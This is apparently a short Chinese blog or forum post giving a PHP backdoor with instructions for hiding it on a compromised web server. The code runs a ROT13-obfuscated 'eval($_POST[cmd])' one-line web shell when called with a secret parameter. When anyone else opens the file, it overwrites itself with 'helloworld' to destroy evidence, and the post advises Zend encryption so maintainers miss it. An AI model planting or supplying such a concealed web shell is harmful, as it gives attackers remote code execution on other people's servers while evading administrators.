首先用zend把代码加密起来。
一般情况下,遇到陌生的php都会打开看看,一看是zend就会在浏览器访问下,这样的话,直接往当前文件写入一个正常的文字不会被维护人员发觉!!
01 <?
02 if($_REQUEST["code"]==pany){
03 eval(str_rot13('riny($_CBFG[pzq]);'));
04 }
05 else{
06 $url = $_SERVER['PHP_SELF'];
07 $filename = end(explode('/',$url));
08
09 $content = 'helloworld';
10 $fp = fopen ("$filename","w");
11 if (fwrite ($fp, $content)){
12 fclose ($fp);
13 die ("error");
14 } else {
15 fclose ($fp);
16 die ("good");
17 }
18 exit;
19 }
20 ?>
自己访问的时候http://127.0.0.1/1.php?code=pany时,执行的是 if($_REQUEST["code"]==pany){
eval(str_rot13('riny($_CBFG[pzq]);'));
} 红色框框里面的内容,在这里我填写的是一句话木马,你可以换成其他内容。 管理员直接访问http://127.0.0.1/1.php,则会出现
此时源代码变成
思路来自乌云社区的juuxdd。 |